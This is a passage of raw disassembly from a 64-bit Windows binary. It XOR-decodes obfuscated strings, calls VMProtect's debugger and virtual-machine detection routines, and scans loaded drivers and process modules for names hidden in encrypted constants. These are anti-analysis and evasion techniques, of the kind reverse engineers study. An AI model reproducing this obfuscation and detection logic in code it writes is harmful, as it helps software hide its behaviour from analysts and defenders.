xor byte [0x1402efdb5], 0x44
xor byte [0x1402efdb6], 0x45
xor byte [0x1402efdb7], 0x46
xor byte [0x1402efdb8], 0x47
xor byte [0x1402efdb9], 0x48
xor byte [0x1402efdba], 0x49
xor byte [0x1402efdbb], 0x4a
xor byte [0x1402efdbc], 0x4b
xor byte [0x1402efdbd], 0x4c
xor byte [0x1402efdbe], 0x4d
xor al, 0x4e
mov byte [0x1402efdbf], al
movzx eax, byte [0x1402eff77]
test al, al
je 0x1401233c8
xor byte [0x1402eff60], 0x37
xor byte [0x1402eff61], 0x38
xor byte [0x1402eff62], 0x39
xor byte [0x1402eff63], 0x3a
xor byte [0x1402eff64], 0x3b
xor byte [0x1402eff65], 0x3c
xor byte [0x1402eff66], 0x3d
xor byte [0x1402eff67], 0x3e
xor byte [0x1402eff68], 0x3f
xor byte [0x1402eff69], 0x40
xor byte [0x1402eff6a], 0x41
xor byte [0x1402eff6b], 0x42
xor byte [0x1402eff6c], 0x43
xor byte [0x1402eff6d], 0x44
xor byte [0x1402eff6e], 0x45
xor byte [0x1402eff6f], 0x46
xor byte [0x1402eff70], 0x47
xor byte [0x1402eff71], 0x48
xor byte [0x1402eff72], 0x49
xor byte [0x1402eff73], 0x4a
xor byte [0x1402eff74], 0x4b
xor byte [0x1402eff75], 0x4c
xor byte [0x1402eff76], 0x4d
xor al, 0x4e
mov byte [0x1402eff77], al
movzx eax, byte [0x1402f08e7]
test al, al
je 0x140123480
xor byte [0x1402f08d0], 0x37
xor byte [0x1402f08d1], 0x38
xor byte [0x1402f08d2], 0x39
xor byte [0x1402f08d3], 0x3a
xor byte [0x1402f08d4], 0x3b
xor byte [0x1402f08d5], 0x3c
xor byte [0x1402f08d6], 0x3d
xor byte [0x1402f08d7], 0x3e
xor byte [0x1402f08d8], 0x3f
xor byte [0x1402f08d9], 0x40
xor byte [0x1402f08da], 0x41
xor byte [0x1402f08db], 0x42
xor byte [0x1402f08dc], 0x43
xor byte [0x1402f08dd], 0x44
xor byte [0x1402f08de], 0x45
xor byte [0x1402f08df], 0x46
xor byte [0x1402f08e0], 0x47
xor byte [0x1402f08e1], 0x48
xor byte [0x1402f08e2], 0x49
xor byte [0x1402f08e3], 0x4a
xor byte [0x1402f08e4], 0x4b
xor byte [0x1402f08e5], 0x4c
xor byte [0x1402f08e6], 0x4d
xor al, 0x4e
mov byte [0x1402f08e7], al
movzx eax, byte [0x1402f0bb7]
test al, al
je 0x140123538
xor byte [0x1402f0ba0], 0x37
xor byte [0x1402f0ba1], 0x38
xor byte [0x1402f0ba2], 0x39
xor byte [0x1402f0ba3], 0x3a
xor byte [0x1402f0ba4], 0x3b
xor byte [0x1402f0ba5], 0x3c
xor byte [0x1402f0ba6], 0x3d
xor byte [0x1402f0ba7], 0x3e
xor byte [0x1402f0ba8], 0x3f
xor byte [0x1402f0ba9], 0x40
xor byte [0x1402f0baa], 0x41
xor byte [0x1402f0bab], 0x42
xor byte [0x1402f0bac], 0x43
xor byte [0x1402f0bad], 0x44
xor byte [0x1402f0bae], 0x45
xor byte [0x1402f0baf], 0x46
xor byte [0x1402f0bb0], 0x47
xor byte [0x1402f0bb1], 0x48
xor byte [0x1402f0bb2], 0x49
xor byte [0x1402f0bb3], 0x4a
xor byte [0x1402f0bb4], 0x4b
xor byte [0x1402f0bb5], 0x4c
xor byte [0x1402f0bb6], 0x4d
xor al, 0x4e
mov byte [0x1402f0bb7], al
movzx eax, byte [0x1402f04f7]
test al, al
je 0x1401235f0
xor byte [0x1402f04e0], 0x37
xor byte [0x1402f04e1], 0x38
xor byte [0x1402f04e2], 0x39
xor byte [0x1402f04e3], 0x3a
xor byte [0x1402f04e4], 0x3b
xor byte [0x1402f04e5], 0x3c
xor byte [0x1402f04e6], 0x3d
xor byte [0x1402f04e7], 0x3e
xor byte [0x1402f04e8], 0x3f
xor byte [0x1402f04e9], 0x40
xor byte [0x1402f04ea], 0x41
xor byte [0x1402f04eb], 0x42
xor byte [0x1402f04ec], 0x43
xor byte [0x1402f04ed], 0x44
xor byte [0x1402f04ee], 0x45
xor byte [0x1402f04ef], 0x46
xor byte [0x1402f04f0], 0x47
xor byte [0x1402f04f1], 0x48
xor byte [0x1402f04f2], 0x49
xor byte [0x1402f04f3], 0x4a
xor byte [0x1402f04f4], 0x4b
xor byte [0x1402f04f5], 0x4c
xor byte [0x1402f04f6], 0x4d
xor al, 0x4e
mov byte [0x1402f04f7], al
movzx eax, byte [0x1402f12f7]
test al, al
je 0x1401236a8
xor byte [0x1402f12e0], 0x37
xor byte [0x1402f12e1], 0x38
xor byte [0x1402f12e2], 0x39
xor byte [0x1402f12e3], 0x3a
xor byte [0x1402f12e4], 0x3b
xor byte [0x1402f12e5], 0x3c
xor byte [0x1402f12e6], 0x3d
xor byte [0x1402f12e7], 0x3e
xor byte [0x1402f12e8], 0x3f
xor byte [0x1402f12e9], 0x40
xor byte [0x1402f12ea], 0x41
xor byte [0x1402f12eb], 0x42
xor byte [0x1402f12ec], 0x43
xor byte [0x1402f12ed], 0x44
xor byte [0x1402f12ee], 0x45
xor byte [0x1402f12ef], 0x46
xor byte [0x1402f12f0], 0x47
xor byte [0x1402f12f1], 0x48
xor byte [0x1402f12f2], 0x49
xor byte [0x1402f12f3], 0x4a
xor byte [0x1402f12f4], 0x4b
xor byte [0x1402f12f5], 0x4c
xor byte [0x1402f12f6], 0x4d
xor al, 0x4e
mov byte [0x1402f12f7], al
movzx eax, byte [0x1402f019f]
test al, al
je 0x140123760
xor byte [0x1402f0188], 0x37
xor byte [0x1402f0189], 0x38
xor byte [0x1402f018a], 0x39
xor byte [0x1402f018b], 0x3a
xor byte [0x1402f018c], 0x3b
xor byte [0x1402f018d], 0x3c
xor byte [0x1402f018e], 0x3d
xor byte [0x1402f018f], 0x3e
xor byte [0x1402f0190], 0x3f
xor byte [0x1402f0191], 0x40
xor byte [0x1402f0192], 0x41
xor byte [0x1402f0193], 0x42
xor byte [0x1402f0194], 0x43
xor byte [0x1402f0195], 0x44
xor byte [0x1402f0196], 0x45
xor byte [0x1402f0197], 0x46
xor byte [0x1402f0198], 0x47
xor byte [0x1402f0199], 0x48
xor byte [0x1402f019a], 0x49
xor byte [0x1402f019b], 0x4a
xor byte [0x1402f019c], 0x4b
xor byte [0x1402f019d], 0x4c
xor byte [0x1402f019e], 0x4d
xor al, 0x4e
mov byte [0x1402f019f], al
movzx eax, byte [0x1402f04df]
test al, al
je 0x140123818
xor byte [0x1402f04c8], 0x37
xor byte [0x1402f04c9], 0x38
xor byte [0x1402f04ca], 0x39
xor byte [0x1402f04cb], 0x3a
xor byte [0x1402f04cc], 0x3b
xor byte [0x1402f04cd], 0x3c
xor byte [0x1402f04ce], 0x3d
xor byte [0x1402f04cf], 0x3e
xor byte [0x1402f04d0], 0x3f
xor byte [0x1402f04d1], 0x40
xor byte [0x1402f04d2], 0x41
xor byte [0x1402f04d3], 0x42
xor byte [0x1402f04d4], 0x43
xor byte [0x1402f04d5], 0x44
xor byte [0x1402f04d6], 0x45
xor byte [0x1402f04d7], 0x46
xor byte [0x1402f04d8], 0x47
xor byte [0x1402f04d9], 0x48
xor byte [0x1402f04da], 0x49
xor byte [0x1402f04db], 0x4a
xor byte [0x1402f04dc], 0x4b
xor byte [0x1402f04dd], 0x4c
xor byte [0x1402f04de], 0x4d
xor al, 0x4e
mov byte [0x1402f04df], al
movzx eax, byte [0x1402efce7]
test al, al
je 0x1401238d0
xor byte [0x1402efcd0], 0x37
xor byte [0x1402efcd1], 0x38
xor byte [0x1402efcd2], 0x39
xor byte [0x1402efcd3], 0x3a
xor byte [0x1402efcd4], 0x3b
xor byte [0x1402efcd5], 0x3c
xor byte [0x1402efcd6], 0x3d
xor byte [0x1402efcd7], 0x3e
xor byte [0x1402efcd8], 0x3f
xor byte [0x1402efcd9], 0x40
xor byte [0x1402efcda], 0x41
xor byte [0x1402efcdb], 0x42
xor byte [0x1402efcdc], 0x43
xor byte [0x1402efcdd], 0x44
xor byte [0x1402efcde], 0x45
xor byte [0x1402efcdf], 0x46
xor byte [0x1402efce0], 0x47
xor byte [0x1402efce1], 0x48
xor byte [0x1402efce2], 0x49
xor byte [0x1402efce3], 0x4a
xor byte [0x1402efce4], 0x4b
xor byte [0x1402efce5], 0x4c
xor byte [0x1402efce6], 0x4d
xor al, 0x4e
mov byte [0x1402efce7], al
movzx eax, byte [0x1402f130f]
test al, al
je 0x140123988
xor byte [0x1402f12f8], 0x37
xor byte [0x1402f12f9], 0x38
xor byte [0x1402f12fa], 0x39
xor byte [0x1402f12fb], 0x3a
xor byte [0x1402f12fc], 0x3b
xor byte [0x1402f12fd], 0x3c
xor byte [0x1402f12fe], 0x3d
xor byte [0x1402f12ff], 0x3e
xor byte [0x1402f1300], 0x3f
xor byte [0x1402f1301], 0x40
xor byte [0x1402f1302], 0x41
xor byte [0x1402f1303], 0x42
xor byte [0x1402f1304], 0x43
xor byte [0x1402f1305], 0x44
xor byte [0x1402f1306], 0x45
xor byte [0x1402f1307], 0x46
xor byte [0x1402f1308], 0x47
xor byte [0x1402f1309], 0x48
xor byte [0x1402f130a], 0x49
xor byte [0x1402f130b], 0x4a
xor byte [0x1402f130c], 0x4b
xor byte [0x1402f130d], 0x4c
xor byte [0x1402f130e], 0x4d
xor al, 0x4e
mov byte [0x1402f130f], al
mov eax, dword [str.ZYPT_]
mov dword [rbp - 0x24], eax
movzx eax, byte [0x1401c2344]
mov byte [rbp - 0x24], WSAGetLastError
xor byte [rbp - 0x23], 0x38
xor byte [rbp - 0x22], 0x39
xor byte [rbp - 0x21], 0x3a
xor al, 0x3b
mov byte [rbp - 0x20], al
lea rcx, [rbp - 0x24]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectBeginUltra]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
mov cl, 1
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsDebuggerPresent]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsProtected]
call qword [sym.imp.VMProtectSDK64.dll_VMProtectIsVirtualMachinePresent]
call fcn.14011abb0
lea r8, [rbp + 0x10900]
mov edx, 0x4000
lea rcx, [rbp + 0x48b0]
call sub.KERNEL32.dll_K32EnumDeviceDrivers
movabs r15, 0xd5ecf1689427c368
movabs r13, 0xdcfff768286bc368
test eax, eax
je 0x14012467e
mov eax, dword [rbp + 0x10900]
cmp eax, 0x4000
jae 0x14012467e
mov r15d, eax
shr r15, 3
test r15, r15
je 0x140124674
mov r14, r12
movabs rdi, 0xa69f940bfb55b303
movabs rbx, 0xdcff850d4308a200
nop dword [rax]
mov r8d, 0x800
lea rdx, [rbp + 0x30b0]
mov rcx, qword [rbp + r14*8 + 0x48b0]
call sub.KERNEL32.dll_K32GetDeviceDriverBaseNameA
test eax, eax
je 0x140124668
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x780], xmm0
mov qword [rbp + 0x790], r12
mov qword [rbp + 0x798], r12
lea rax, [rbp + 0x30b0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140123aa0
lea rdx, [rbp + 0x30b0]
lea rcx, [rbp + 0x780]
call fcn.140070960
nop
mov qword [rbp + 0x90], rdi
mov qword [rbp + 0x98], rbx
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], r13
vmovdqu xmm0, xmmword [rbp + 0x90]
vpxor xmm1, xmm0, xmmword [rbp + 0x80]
vmovdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x90]
mov rdx, 0xffffffffffffffff
nop word [rax + rax]
inc rdx
cmp byte [rax + rdx], 0
jne 0x140123b10
lea rcx, [rbp + 0x780]
cmp qword [rbp + 0x798], 0xf
seta sil
mov rdi, qword [rbp + 0x780]
cmova rcx, rdi
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x90]
xor r8d, r8d
mov rbx, qword [rbp + 0x790]
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x140127af7
movabs rax, 0xa08e942ce453b720
mov qword [rbp + 0xa0], rax
movabs rax, 0xdcfff768286bc30f
mov qword [rbp + 0xa8], rax
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0xa0]
vpxor xmm1, xmm0, xmmword [rbp + 0x70]
vmovdqu xmmword [rbp + 0xa0], xmm1
lea rcx, [rbp + 0xa0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140123bb6
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xa0]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x140127804
movabs rax, 0xd5ecf1689441b306
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], r13
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], r13
vmovdqu xmm0, xmmword [rbp + 0xb0]
vpxor xmm1, xmm0, xmmword [rbp + 0x60]
vmovdqu xmmword [rbp + 0xb0], xmm1
lea rcx, [rbp + 0xb0]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140123c40
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xb0]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x14012755a
movabs rax, 0xd5ec960af013f510
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], r13
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], r13
vmovdqu xmm0, xmmword [rbp + 0xc0]
vpxor xmm1, xmm0, xmmword [rbp + 0x50]
vmovdqu xmmword [rbp + 0xc0], xmm1
lea rcx, [rbp + 0xc0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140123cc5
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xc0]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x14012702b
movabs rax, 0xb185b906f553aa3c
mov qword [rbp + 0xd0], rax
movabs rax, 0xdcfff768286bc30d
mov qword [rbp + 0xd8], rax
movabs rax, 0xd5ecf1689427c368
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], r13
vmovdqu xmm0, xmmword [rbp - 0x40]
vpxor xmm1, xmm0, xmmword [rbp + 0xd0]
vmovdqu xmmword [rbp + 0xd0], xmm1
lea rcx, [rbp + 0xd0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140123d54
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xd0]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x140126dcd
movabs rax, 0x8aa8be18e646ab3b
mov qword [rbp + 0xe0], rax
movabs rax, 0xdcfff768281db12c
mov qword [rbp + 0xe8], rax
movabs rax, 0xd5ecf1689427c368
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r13
vmovdqu xmm0, xmmword [rsp + 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xe0]
vmovdqu xmmword [rbp + 0xe0], xmm1
lea rcx, [rbp + 0xe0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140123de6
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xe0]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x140126b6f
movabs rax, 0xd5ecf15ca246a701
mov qword [rbp + 0xf0], rax
mov qword [rbp + 0xf8], r13
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x100], rax
mov qword [rbp + 0x108], r13
vmovdqu xmm0, xmmword [rbp + 0x100]
vpxor xmm1, xmm0, xmmword [rbp + 0xf0]
vmovdqu xmmword [rbp + 0xf0], xmm1
lea rcx, [rbp + 0xf0]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140123e74
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf0]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x140126911
movabs rax, 0xd5ecf15aa746a701
mov qword [rbp + 0x110], rax
mov qword [rbp + 0x118], r13
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x128], r13
vmovdqu xmm0, xmmword [rbp + 0x120]
vpxor xmm1, xmm0, xmmword [rbp + 0x110]
vmovdqu xmmword [rbp + 0x110], xmm1
lea rcx, [rbp + 0x110]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140123f02
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x110]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x140126686
movabs rax, 0xd58b930ced4baf07
mov qword [rbp + 0x130], rax
mov qword [rbp + 0x138], r13
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x140], rax
mov qword [rbp + 0x148], r13
vmovdqu xmm0, xmmword [rbp + 0x140]
vpxor xmm1, xmm0, xmmword [rbp + 0x130]
vmovdqu xmmword [rbp + 0x130], xmm1
lea rcx, [rbp + 0x130]
mov rax, 0xffffffffffffffff
inc rax
cmp byte [rcx + rax], 0
jne 0x140123f90
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x130]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x140126428
movabs rax, 0xe38b930ced4baf07
mov qword [rbp + 0x150], rax
movabs rax, 0xdcfff768286bc35c
mov qword [rbp + 0x158], rax
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], r13
vmovdqu xmm0, xmmword [rbp + 0x160]
vpxor xmm1, xmm0, xmmword [rbp + 0x150]
vmovdqu xmmword [rbp + 0x150], xmm1
lea rcx, [rbp + 0x150]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140124030
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x150]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x1401261b5
movabs rax, 0xd5809d0cf046ac04
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x178], r13
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x180], rax
mov qword [rbp + 0x188], r13
vmovdqu xmm0, xmmword [rbp + 0x180]
vpxor xmm1, xmm0, xmmword [rbp + 0x170]
vmovdqu xmmword [rbp + 0x170], xmm1
lea rcx, [rbp + 0x170]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x1401240c0
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x170]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x140125f57
movabs rax, 0xa08e940ce453b700
mov qword [rbp + 0x190], rax
movabs rax, 0xdcfff7685a0ea40f
mov qword [rbp + 0x198], rax
movabs rax, 0xd5ecf1689427c368
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], r13
vmovdqu xmm0, xmmword [rbp + 0x1a0]
vpxor xmm1, xmm0, xmmword [rbp + 0x190]
vmovdqu xmmword [rbp + 0x190], xmm1
lea rcx, [rbp + 0x190]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140124160
lea rcx, [rbp + 0x780]
test sil, sil
cmovne rcx, rdi
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x190]
xor r8d, r8d
mov rdx, rbx
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x140125cb0
inc r14
cmp r14, r15
jl 0x140123a50
movabs r15, 0xd5ecf1689427c368
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r9, [rbp + 0x10908]
mov r8d, 0x4000
lea rdx, [rbp + 0x88b0]
call sub.KERNEL32.dll_K32EnumProcessModules
movabs r14, 0xb1c2960af013f510
test eax, eax
je 0x140128929
mov esi, dword [rbp + 0x10908]
shr rsi, 3
test rsi, rsi
je 0x140128929
mov rbx, r12
nop dword [rax + rax]
mov rdi, qword [rbp + rbx*8 + 0x88b0]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov r9d, 0x800
lea r8, [rbp + 0x38b0]
mov rdx, rdi
mov rcx, rax
call sub.KERNEL32.dll_K32GetModuleBaseNameA
test eax, eax
je 0x14012488b
vpxor xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0xa80], xmm0
mov qword [rbp + 0xa90], r12
mov qword [rbp + 0xa98], r12
lea rax, [rbp + 0x38b0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140124726
lea rdx, [rbp + 0x38b0]
lea rcx, [rbp + 0xa80]
call fcn.140070960
nop
movabs rax, 0xd58b930ccb13f510
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x520]
vmovdqu xmmword [rbp + 0x520], xmm1
lea rcx, [rbp + 0x520]
mov rax, 0xffffffffffffffff
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140124790
lea rcx, [rbp + 0xa80]
cmp qword [rbp + 0xa98], 0xf
cmova rcx, qword [rbp + 0xa80]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x520]
xor r8d, r8d
mov rdx, qword [rbp + 0xa90]
call fcn.1400c20d0
cmp rax, 0xffffffffffffffff
jne 0x14012840e
mov qword [rbp + 0x530], r14
movabs rax, 0xdcfff768286baf04
mov qword [rbp + 0x538], rax
mov qword [rbp - 0x10], r15
mov qword [rbp - 8], r13
vmovdqu xmm0, xmmword [rbp - 0x10]
vpxor xmm1, xmm0, xmmword [rbp + 0x530]
vmovdqu xmmword [rbp + 0x530], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0xa80]
call fcn.140114da0
cmp rax, 0xffffffffffffffff
jne 0x140128171
movabs rax, 0xd5ec960af013f510
mov qword [rbp + 0x540], rax
mov qword [rbp + 0x548], r13
mov qword [rbp], r15
mov qword [rbp + 8], r13
vmovdqu xmm0, xmmword [rbp]
vpxor xmm1, xmm0, xmmword [rbp + 0x540]
vmovdqu xmmword [rbp + 0x540], xmm1
xor r8d, r8d
lea rdx, [rbp + 0x540]
lea rcx, [rbp + 0xa80]
call fcn.140114da0
cmp rax, 0xffffffffffffffff
jne 0x140127ed4
lea rcx, [rbp + 0xa80]
call fcn.14006d590
inc rbx
cmp rbx, rsi
jl 0x1401246d0
jmp 0x140128929
call fcn.14004dda0
movabs rax, 0xb9cc941efb4aa63a
mov qword [rbp + 0xde0], rax
movabs rax, 0xfcd39b044c0fa207
mov qword [rbp + 0xde8], rax
movabs rax, 0x7ed7001a09f9a60a
mov qword [rbp + 0xdf0], rax
movabs rax, 0xd37782001c8db609
mov qword [rbp + 0xdf8], rax
movabs rax, 0xa6b78c0c0d18af48
mov qword [rbp + 0xe00], rax
movabs rax, 0xfcbd9d4864d58248
mov qword [rbp + 0xe08], rax
movabs rax, 0x7bea2448989da21c
mov qword [rbp + 0xe10], rax
movabs rax, 0xb3674346b723e31a
mov qword [rbp + 0xe18], rax
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0xde0]
vmovdqu xmmword [rbp + 0xde0], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xdf0]
vmovdqu xmmword [rbp + 0xdf0], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xe00]
vmovdqu xmmword [rbp + 0xe00], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xe10]
vmovdqu xmmword [rbp + 0xe10], xmm1
lea rdx, [rbp + 0xde0]
lea rcx, [rbp + 0x8c0]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x3a0], rax
mov qword [rbp + 0x3a8], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x3a0]
vmovdqu xmmword [rbp + 0x3a0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x1ea0]
call fcn.14006cd20
nop
cmp qword [rbp + 0x1f28], 0
je 0x1401261a3
movabs rax, 0xf59e9e1ae642e333
mov qword [rbp + 0x3b0], rax
movabs rax, 0xdcfff7680846e335
mov qword [rbp + 0x3b8], rax
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rsp + 0x70]
vpxor xmm1, xmm0, xmmword [rbp + 0x3b0]
vmovdqu xmmword [rbp + 0x3b0], xmm1
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x1ea0]
call fcn.14006fd10
mov rdx, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140126186
lea rcx, [rbp + 0x1ea0]
call fcn.14004dd20
nop
jmp 0x14012640e
call fcn.14004dda0
movabs rax, 0xbacc941efb4aa63a
mov qword [rbp + 0xe20], rax
movabs rax, 0xe8c9900a4c12af04
mov qword [rbp + 0xe28], rax
movabs rax, 0x77850a0e03fde344
mov qword [rbp + 0xe30], rax
movabs rax, 0xdd7188060a82af48
mov qword [rbp + 0xe38], rax
movabs rax, 0xeda188070057a406
mov qword [rbp + 0xe40], rax
movabs rax, 0xfdf88b06419bed1a
mov qword [rbp + 0xe48], rax
movabs rax, 0x77a5291a8d9bb00d
mov qword [rbp + 0xe50], rax
movabs rax, 0xb3490038d401b607
mov qword [rbp + 0xe58], rax
movabs r15, 0xd5ecf1689427c368
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
movabs rsi, 0x12f76568669fc368
mov qword [rbp - 0x80], rsi
movabs rbx, 0xb419eb687fe3c368
mov qword [rbp - 0x78], rbx
movabs rax, 0x88c5e9686c77c368
mov qword [rbp - 0x70], rax
movabs rax, 0x8fd8ef6800bbc368
mov qword [rbp - 0x68], rax
movabs rax, 0xe855d68ecefc368
mov qword [rbp - 0x60], rax
movabs rax, 0xb3674368f473c368
mov qword [rbp - 0x58], rax
vmovdqu xmm0, xmmword [rbp + 0xe20]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0xe20], xmm1
vmovdqu xmm2, xmmword [rbp - 0x80]
vpxor xmm0, xmm2, xmmword [rbp + 0xe30]
vmovdqu xmmword [rbp + 0xe30], xmm0
vmovdqu xmm1, xmmword [rbp - 0x70]
vpxor xmm2, xmm1, xmmword [rbp + 0xe40]
vmovdqu xmmword [rbp + 0xe40], xmm2
vmovdqu xmm0, xmmword [rbp - 0x60]
vpxor xmm1, xmm0, xmmword [rbp + 0xe50]
vmovdqu xmmword [rbp + 0xe50], xmm1
lea rdx, [rbp + 0xe20]
lea rcx, [rbp + 0x8e0]
call fcn.14006d660
mov rdi, rax
mov qword [rsp + 0x60], rax
movabs rax, 0xa1948546e740ac04
mov qword [rbp + 0x3c0], rax
mov qword [rbp + 0x3c8], r13
mov qword [rsp + 0x70], r15
mov qword [rsp + 0x78], r13
vmovdqu xmm0, xmmword [rbp + 0x3c0]
vpxor xmm1, xmm0, xmmword [rsp + 0x70]
vmovdqu xmmword [rbp + 0x3c0], xmm1
mov dword [rsp + 0x20], 1
mov r9d, 0x40
lea r8d, [r9 - 0x36]
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x1fb0]
call fcn.14006cd20
nop
